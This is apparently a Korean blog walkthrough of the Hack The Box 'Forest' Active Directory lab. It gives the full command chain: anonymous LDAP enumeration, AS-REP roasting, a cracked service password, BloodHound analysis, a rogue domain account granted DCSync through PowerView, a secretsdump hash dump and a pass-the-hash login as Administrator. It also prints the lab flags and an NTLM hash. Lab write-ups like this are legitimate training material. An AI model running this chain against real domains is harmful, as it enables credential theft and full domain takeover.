ㅊhttps://app.hackthebox.com/machines/Forest?sort_by=created_at&sort_type=desc
Hack The Box
app.hackthebox.com
AD 문제다.
초기 침투 및 User Flag 획득

ldap 포트가 열려 있다.

nxc ldap 10.129.111.31 -u '' -p '' --users
위 명령어로 ldap 익명 바인딩을 시도해서 도메인 사용자 목록을 뽑아낼 수 있다.
- nxc ldap: NetExec의 LDAP 모듈 사용. 대상이 도메인 컨트롤러(DC)일 때 LDAP(389) 또는 LDAPS(636)로 질의
- 10.129.95.210: 타겟 IP
- -u '' -p '': 빈 사용자명/패스워드. null session / anonymous bind 시도
- --users: 도메인의 사용자 계정 목록을 열거
실행 결과 맨 위에 도메인 명과 호스트 명을 알 수 있다.
- host name: FOREST
- domain: htb.local
awk 'NR>=5 {print $5}' nxc_ldap_users_result.txt > users.txt
위 실행 결과에서 5번째 열과 5번째 행만 따로 잘라서 저장했다.
impacket-GetNPUsers htb.local/ -usersfile users.txt -no-pass -dc-ip 10.129.111.31
이후 위 명령어로 AS-REP Roasting을 수행했다.
- impacket-GetNPUsers: 사전인증이 비활성화된(No Pre-auth) 계정을 찾아 AS-REP 해시를 뽑는다
- htb.local/: 대송 도메인이다. 끝에 `/`만 있고 사용자명이 비어있으므로 인증 없이 시도
- -userfile users.txt:시도할 사용자명 목록 파일
- -no-pass: 패스워드 프롬프트를 생략
- -dc-ip <IP>: KDC(도메인 컨트롤러) IP

그 결과 svc-alfresco에 대해서 AS-REP Roasting에 성공한 것을 확인할 수 있다.
AS-REP Roasting은 아래 링크에서 좀 더 자세히 알아보자.
https://www.xn--hy1b43d247a.com/credential-access/kerberos/as-rep-roasting
AS-Rep Roasting | 레드팀 플레이북
MITRE ATTACK - T1558.004
www.xn--hy1b43d247a.com

크랙 결과 s3rvice라는 비밀번호를 확인할 수 있었다.
이후 해당 계정으로 접속해 user flag를 획득할 수 있다.
evil-winrm -i 10.129.111.31 -u svc-alfresco -p 's3rvice'

2077001afcddbf29540f210881d09166
짜잔
Root Flag 획득
bloodhound를 사용해서 권한 상승 경로를 확인해보자.
bloodhound-python -u svc-alfresco -p 's3rvice' -d htb.local -ns 10.129.95.210 -c All
- bloodhound-python: 파이썬 기반 bloodhound 수집기
- -u svc-alfresco: 인증에 사용할 도메인 계정사용자명
- -p 's3rvice': 해당 계정의 평문 비밀번호
- -d htb.local: 대상 도메인
- -ns 10.129.95.210: nameserver. 즉, 쿼리를 보낼 DNS 서버 IP. AD 환경에서는 보통 도메인 컨트롤러가 DNS도 겸한다고 한다.
- -c All: collection method를 'All'로 지정. 가능한 모든 수집 메서드를 한 번에 긁어온다.
svc-alfresco 계정 자격증명으로 10.129.95.210을 DNS 서버 삼아 htb.local 도메인에 인증한 뒤, 모든 수집 방식으로 AD 데이터를 열거하는 명령이다.
zip 20260628085222_bloodhound.zip 20260628085222_*

bloodhound 사용을 위해 zip 파일로 압축해줬다.

bloodhound에서 위와 같이 zip 파일을 업로드해주면된다.

bloodhound에서 분석이 끝나면 위와 같이 출발지 노드와 도착지 노드를 각각 svc-alfresco, domain admins로 설정해주면 된다.

DOMAIN ADMINS에 도달하기 위해선 EXCHANGE WINDOWS Permissions가 가진 WriteDacl을 권한을 이용해서 도메인의 ACL을 직접 고쳐야 한다는 것을 그래프를 통해 확인할 수 있다.

Account Operators에서는 일반 계정 및 그룹을 만들고 수정할 수 있다. 이를 이용해서 새 계정을 만들어서 Exchange Windows Permissions 그룹에 넣을 수 있다. 이를 통해 자기 계정에 DCSync 권한을 부여해 모든 해시를 뽑아낼 수 있다.
net user pwn Pwn123! /add /domain
net group "Exchange Windows Permissions" pwn /add /domain
net localgroup "Remote Management Users" pwn /add
evil-winrm 안에서 새 계정을 만들고 Exchange 그룹에 넣는다.
- net user pwn Pwn123! /add /domain: 도메인에 새 사용자 계정을 생성한다. 계정명은 pwn이고, 비밀번호는 Pwn123!이다.
- net group "Exchange Windows Permissions" pwn /add /domain: 방금 만든 pwn 계정을 Exchange Windows Permissions 도메인 그룹에 추가한다.
- net localgroup "Remote Management Users" pwn: pwn 계정을 로컬 Remote Management Users 그룹에 추가한다. pwn 계정으로 evil-winrm 같은 도구를 써서 해당 호스트에 원격 쉘을 얻기 위한 작업이다.
upload /usr/share/windows-resources/powersploit/Recon/PowerView.ps1
powerview는 PowerSploit 프레임워크의 일부로, PowerShell 기반 AD 열거 및 공격 도구다. pwn 계정에 DCSync 권한을 부여하기 위한 작업을 PowerView의 Add-DomainObjectAcl로 수행하기 위해 업로드한다.
Import-Module ./PowerView.ps1
$pass = ConvertTo-SecureString 'Pwn123!' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('htb\pwn', $pass)
Add-DomainObjectAcl -Credential $cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity pwn -Rights DCSync
ACL 조작 단계다. PowerView를 써서 pwn 계정에게 DCSync 권한을 직접 부여한다.
- Import-Module ./PowerView.ps1: PowerView를 현재 PowerShell 세션에 로드한다. 이걸로 Add-DomainObjectAcl같은 PowerView 함수들을 쓸 수 있게 된다.
- $pass = ConvertTo-SecureString 'Pwn123!' -AsPlainText -Force: 비밀번호 Pwn123!을 PowerShell이 자격증명 객체에 요구하는 SecureString 형식으로 변환한다.
- -AsPlainText: 입력이 평문임을 명시
- -Force: 평문을 SecureString으로 바꾸는건 보안상 경고가 뜨는데, 이를 무시하고 강제 진행
- $cred = New-Object System.Management.Automation.PSCredential('htb\pwn', $pass): SecureString 비밀번호와 사용자명을 묶어 PSCredential 자격증명 객체를 생성.
- Add-DomainObjectAcl -Credential $cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity pwn -Rights DCSync: 실제 공격이 일어나는 줄이다. 도메인 객체의 ACL을 수정해서 pwn에게 DCSync 권한을 추가한다.
- -Credential $cred: 이 작업을 수행하는 주체의 자격증명. pwn은 Exchange Windows Permissions 그룹 멤버라서 도메인 객체에 대한 WriteDACL 권한을 갖고 있고, 그 권한으로 ACL 수정이 가능
- -TargetIdentity "DC=htb,DC=local": ACL을 수정할 대상 객체
- -PrincipalIdentity pwn: 권한을 부여받을 주체
- -Rights DCSync: 부여할 권한
결론적으로, WriteDACL 권한을 가진 pwn이, 자기 자신에게 도메인 복제권한(DCSync)을 부여하는 단계이다.
impacket-secretsdump htb.local/pwn:'Pwn123!'@10.129.95.210
pwn 계정이 복제 권한을 가졌으니, kali에서 직접 해시를 덤프한다.

htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
위와 같이 NTLM 해시를 얻을 수 있다.

evil-winrm -i 10.129.95.210 -u Administrator -H 32693b11e6aa90eb43d32c72a07ceea6
위와 같은 명령어로 Admin으로 접속할 수 있다.

5acc2b98fbbe01cc60a876ef09c1aea3
짜잔
'레드팀 > HackTheBox' 카테고리의 다른 글
| [HTB] Jerry 풀이 (0) | 2026.08.23 |
|---|---|
| [HTB] Baby 풀이 (2) | 2026.07.11 |
| [HTB] Active 풀이 (0) | 2026.06.21 |
| [HTB] MonitorsFour 풀이 (0) | 2026.05.16 |
| [HTB] Facts 풀이 (0) | 2026.05.03 |